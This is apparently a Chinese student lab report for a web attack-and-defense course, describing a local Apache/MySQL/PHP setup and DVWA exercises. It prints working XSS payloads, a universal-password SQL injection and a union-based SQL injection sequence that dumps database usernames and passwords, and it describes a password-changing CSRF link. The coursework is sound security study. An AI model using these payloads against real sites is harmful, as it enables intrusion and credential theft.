#20232408 2025-2026-1 《网络与系统攻防技术》实验八实验报告 - 20232408

news/2025/12/1 9:56:35/文章来源:https://www.cnblogs.com/20232408lyc/p/19291581

1.实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。

(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。

(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

(4)Web后端:编写PHP网页,连接数据库,进行用户认证

(5)最简单的SQL注入,XSS攻击测试

(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验目的

    通过搭建Web应用环境,实践前后端开发,并深入理解SQL注入、XSS等常见Web安全漏洞的原理与防护方法。

3.实验环境

    kali镜像虚拟机,具体配置如下图:

image

4.实验过程与分析

**4.1 Web前端HTML**

     这里我选择了php小皮,很好用的web搭建工具。如图所示:

image

    可以一键启停Apache,mysql等各种功能。我们打开其中的Apache、FTP0.9.60、MYSQL,点击网站->localhost->管理->打开根目录,就可以进入我们的www目录下编写web了。如图所示:

image

image

    由此我们可以编写自己的html。我这里写了两个,一个是get方法,一个是post方法。如图所示:

get方法:

image

post方法:

image

    我们可以看到,本质区别在于,get方法提交的参数会在url中显示出来,而post方法的参数不会,是被隐藏的。隐藏在哪里呢?我们通过Burpsuite抓包方式,可以看到是藏在请求的“底层”。

image

4.2 Web前端javascipt

    javascript是一种前端语言,用于对web操作过程做操作。我在之前的文件中新加了如下代码:

<form id="loginForm" action="welcome.html" method="get">

` ` 当我们点击按钮时,会先从form id="loginForm"跳转到document.getElementById('loginForm'),接着触发事件监听addEventListener,行为为submit,就进入到接下来的js结构体中,判断name和passwd必须符合条件,否则preventDefault()阻止行为。

尝试注入攻击:
咱们直接写一个<script>alert(1)</script>,点击提交,就会出现:

image

这是因为我们welcome.html写的代码为:
`

欢迎 !

` 是可执行的。

4.3 MySQL基础

同样,在小皮里面我们直接就能找到插件。

image

小皮是自带MySQL的,所以只需要一个启动工具即可。如图所示:

image

建库点击左边列的“新建”,建表操作点击左边库下面的“新建”,创建用户和修改密码在小皮中创建,sql语句可以点击上方SQL操作。

4.4 Web后端:编写PHP网页,连接数据库,进行用户认证

我们需要php后端来做更加严格的认证。如图所示:

image

其中的auth.php,db.php,welcome.php,都是后端。部分内容如图所示:

image

image

前端如图所示:

image

可以看到,里面跳转的已经是auth.php了。

进行登录验证,这里在第二步骤的基础上,还加了与数据库中存储信息的比对,如果没有检索到,那么就认证失败。有的话,再去检验是否满足输入限制。

image

image

4.5 最简单的SQL注入,XSS攻击测试
我们直接尝试万能密码,这是最简单的sql注入。而最简单的xss攻击就是我们在第二步中做的。

image

1' or '1'='1'-- ,这边注意,这种形式的万能密码要把后面一个1的双引号也闭合,不然是无法正确注释的。

4.6安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击

我们先下载DVWA的压缩包,然后解压放到www目录下。接下来只需在数据库那一界面中新建数据库,设置dvwa的相关配置,即可进入dvwa。

image

image

image

要能够正确完成操作,我们先要把在DVWA Security难度调节到low。
进入SQL Injection,准备sql注入。
命令如下:
1' order by x#
1' union select database(),1#
1' UNION SELECT 1,group_concat(table_name) COLLATE utf8_unicode_ci FROM information_schema.tables WHERE table_schema=database()#
1' UNION SELECT group_concat(column_name) COLLATE utf8_unicode_ci,1 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()#
1' union select group_concat(username,':',passwd),2 from dbweb.web1 #

image

XSS攻击,也是通过在输入中输入可执行代码:

image

存储型:

一点进去就有弹窗:

image

CSRF攻击:

image

别的用户一点这个链接,自己的密码就会被篡改。

5.问题及解决

1.在做后端的时候,发现无论输入什么都只能回显后端代码。
解决方法:不能直接点击文件进入界面,得localhost网站本地登录。

6.心得体会

本次实验围绕 Web 安全领域展开学习,重点探究了前后端场景下的 SQL 注入与 XSS 注入原理,并在 DVWA 平台完成了基础 SQL 注入、XSS 攻击及 CSRF 攻击的实操演练。通过一系列动手实践,我对 Web 攻击的基本逻辑形成了初步认知。
不过实验过程并非一帆风顺,尤其在后端操作环节遇到了棘手问题:无论输入何种内容,页面始终只回显后端代码,完全无法按预期触发交互效果。经过反复排查与尝试,最终发现问题根源在于访问方式 —— 直接点击文件进入界面会导致环境加载异常,必须通过localhost搭建本地网站并完成登录流程,才能让后端功能正常响应。
这一问题的解决让我意识到,Web 安全实验中环境配置与访问路径的细节至关重要。尽管本次实验仅触及网络攻防技术的皮毛,但已切实体会到理论与实操的差异,也明白要深入钻研这一领域,仍需积累更多实践经验。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/982611.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年环保板材品牌推荐:哪个性价比最高?实测数据与用户评价

随着消费者对家居健康关注度的提升,环保板材市场在2025年迎来快速发展。根据中国林产工业协会发布的数据,2025年中国环保板材市场规模预计突破2000亿元,但行业仍面临甲醛释放标准不统一、环保认证体系复杂等挑战。本…

2025年靠谱的JN100高压均质机最新TOP品牌厂家排行

2025年靠谱的JN100高压均质机TOP品牌厂家排行行业背景与市场趋势高压均质机作为生物医药、新材料、新能源等领域的关键设备,近年来随着纳米技术和生物制药行业的快速发展,市场需求持续增长。2025年,全球高压均质机市…

2025 年 12 月假发厂家权威推荐榜:真人发丝手工钩织,伊薇卡品牌医疗级化疗假发、男女老年全头套,自然逼真舒适之选

2025 年 12 月假发厂家权威推荐榜:真人发丝手工钩织,伊薇卡品牌医疗级化疗假发、男女老年全头套,自然逼真舒适之选 随着现代生活节奏加快和审美需求多元化,假发行业正经历着从功能性补充到时尚配饰的重要转型。根据…

2025年靠谱的全拉同步隐藏轨/三节同步隐藏轨厂家最新推荐权威榜

2025年靠谱的全拉同步隐藏轨/三节同步隐藏轨厂家推荐权威榜行业背景与市场趋势随着现代家居和办公空间对美观性与功能性需求的不断提升,隐藏式滑轨系统已成为高端家具和橱柜制造的核心组件之一。全拉同步隐藏轨和三节…

水坑攻击的攻击原理和特点+案例和防御方式

水坑攻击的攻击原理和特点+案例和防御方式pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

keil相关之:只生成 hex 文件

1. 背景 keil 支持生成 .axf 和 .hex 文件,axf 不仅用于 debug 调试,还用于烧写到芯片,而且,keil 中的 Download 默认使用的是 axf 文件。hex 多用于提供给第三方烧写软件(比如 J-Flash)进行烧写。 keil 也可以使…

2025 年 12 月真空腔体厂家权威推荐榜:不锈钢/超高真空/铝合金/半导体真空腔体,大型真空炉体与镀膜机腔体精选,技术实力与耐用性能深度解析

2025 年 12 月真空腔体厂家权威推荐榜:不锈钢/超高真空/铝合金/半导体真空腔体,大型真空炉体与镀膜机腔体精选,技术实力与耐用性能深度解析 行业背景与发展趋势 真空技术作为现代工业的核心支撑技术之一,在半导体制…

2025年知名的橡胶助TAIC交联剂厂家最新TOP排行榜

2025年知名的橡胶助TAIC交联剂厂家TOP排行榜行业背景与市场趋势橡胶助剂作为橡胶工业的重要组成部分,在提升橡胶制品性能方面发挥着不可替代的作用。TAIC(三烯丙基异氰脲酸酯)作为一种高效的交联剂,近年来在高分子…

2025年耐酸碱dn40镀锌钢管/西安西安镀锌钢管TOP实力厂家推荐榜

2025年耐酸碱DN40镀锌钢管/西安镀锌钢管TOP实力厂家推荐榜行业背景与市场趋势镀锌钢管作为建筑、市政、工业等领域不可或缺的基础材料,其市场需求随着国家基础设施建设的持续推进而稳步增长。2024年,中国镀锌钢管市场…

完整教程:springcloud:理解springsecurity安全架构与认证链路(一)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

八字股市分析报告

正在进行市场分析...八字股市分析报告============================================================ 分析时间: 2025-12-01 09:05 市场类型: A股 【八字信息】 当前八字: 乙巳 戊丑 癸未 丁巳 基准八字: 庚午 戊丑 丁…

AI code execution as analyst

https://github.com/e2b-dev/ai-analyst Open source AI analyst powered by E2B. Analyze your CSV files with Llama 3.1 and create interactive charts. https://deepwiki.com/e2b-dev/ai-analyst/4-code-executio…

2025年口碑好的Z型输送机/大倾角皮带输送机TOP实力厂家推荐榜

2025年口碑好的Z型输送机/大倾角皮带输送机TOP实力厂家推荐榜行业背景与市场趋势随着工业自动化水平的不断提升和环保要求的日益严格,输送设备行业正经历着前所未有的技术革新与市场扩张。Z型输送机和大倾角皮带输送机…

2025年重庆电脑主机回收公司权威推荐榜单:服务器显卡回收‌/二手固态硬盘回收‌/电脑主板回收价目表‌源头公司精选

随着电子产品更新换代速度加快,中国电子废弃物产生量逐年攀升,2024年电子废弃物总量已突破800万吨,其中废旧电脑设备占比达18%,专业回收处理需求日益凸显。 在数字经济快速发展的2025年,专业的电脑主机回收服务已…

2025Q4 一物一码公司推荐榜:头部企业 + 合作方案全解析

一、榜单核心说明 覆盖范围:全球 78 家主流服务商 评分维度:技术实力(35%)、市场覆盖率(25%)、客户留存率(20%)、合规认证(15%)、商业价值转化(5%) 数据来源:企业公开财报、行业实测报告、客户案例成效反…

2025年评价高的双功能阻尼托底轨/反弹阻尼托底轨厂家推荐及选择指南

2025年评价高的双功能阻尼托底轨/反弹阻尼托底轨厂家推荐及选择指南行业背景与市场趋势随着现代家具制造技术的不断进步,五金配件作为家具功能性的核心部件,其重要性日益凸显。双功能阻尼托底轨和反弹阻尼托底轨作为…

完全消除Vue3项目短暂跳转到404的现象

有个Vue项目,上传服务器后出现了首屏加载后短暂跳转到404的情况,因为并非在根目录下放置index.html和assets文件夹,而是放在了/a/目录下。 解决方法分为3步。 第一步:修改vite.config.js base: /a/, //新增这一行吗…

2025年靠谱的EPE珍珠棉厂家最新用户好评榜

2025年靠谱的EPE珍珠棉厂家用户好评榜 行业背景与市场趋势 随着全球电商、新能源、电子制造等行业的快速发展,EPE珍珠棉(聚乙烯发泡棉)因其优异的缓冲、防震、隔热、环保等特性,成为包装材料市场的热门选择。特别…